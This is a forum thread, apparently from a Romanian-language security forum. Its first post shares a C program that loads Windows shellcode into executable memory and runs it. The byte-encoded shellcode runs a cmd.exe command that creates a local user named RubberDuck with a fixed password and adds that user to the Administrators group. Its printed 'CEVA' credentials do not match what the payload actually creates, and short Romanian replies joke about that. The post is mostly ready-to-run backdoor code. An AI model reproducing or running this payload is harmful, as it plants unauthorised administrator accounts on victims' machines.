Jump to content
mDOS

Add local administrator user-WinExec shellcode

Recommended Posts

#include <stdio.h>
#include <windows.h>
 
int main(){
  unsigned char shellcode[]=
    "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
    "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
    "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
    "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
    "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
    "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
    "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
    "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
    "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
    "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
    "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
    "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
    "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE"
    "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"
    "\xFF\xD2\x6A\x05\xEB\x23\xFF\xD0\x68\x65"
    "\x73\x73\x01\x8B\xDF\xFE\x4C\x24\x03\x68"
    "\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54"
    "\xFF\x74\x24\x1C\xFF\x54\x24\x1C\x57\xFF"
    "\xD0\xE8\xD8\xFF\xFF\xFF\x63\x6D\x64\x2E"
    "\x65\x78\x65\x20\x2F\x63\x20\x6E\x65\x74"
    "\x20\x75\x73\x65\x72\x20\x52\x75\x62\x62"
    "\x65\x72\x44\x75\x63\x6B\x20\x6D\x75\x64"
    "\x62\x61\x74\x68\x20\x2F\x61\x64\x64\x20"
    "\x26\x26\x20\x6E\x65\x74\x20\x6C\x6F\x63"
    "\x61\x6C\x67\x72\x6F\x75\x70\x20\x61\x64"
    "\x6D\x69\x6E\x69\x73\x74\x72\x61\x74\x6F"
    "\x72\x73\x20\x52\x75\x62\x62\x65\x72\x44"
    "\x75\x63\x6B\x20\x2F\x61\x64\x64\x00";
  LPVOID lpAlloc;
  void (*pfunc)();
 
  printf("size = %i bytes\n", lstrlen(shellcode) + 1);
  printf("-------------------------\nUsername: CEVA\nPassword: CEVA\n");
  system("PAUSE");
 
  lpAlloc = VirtualAlloc(0, 4096,
                         MEM_COMMIT,
                         PAGE_EXECUTE_READWRITE);
 
  if(lpAlloc == NULL){
    printf("Memory not allocated!\n");
    return 0;
  }
 
  memcpy(lpAlloc, shellcode, lstrlen(shellcode) + 1);
 
  pfunc = lpAlloc;
 
  pfunc();
 
  return 0;
}

 

NU UITA SA INLOCUL CEVA-UL ACELA CU CEVA :)
 

Share this post


Link to post
Share on other sites
8 minutes ago, dancezar said:

Degeaba le "schimbi" in printf-ul ala :)) 

 

ok.jpg

 

Ce sens ar avea sa primesti parametrii aceia din stdout... 

eh :)

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.


×
×
  • Create New...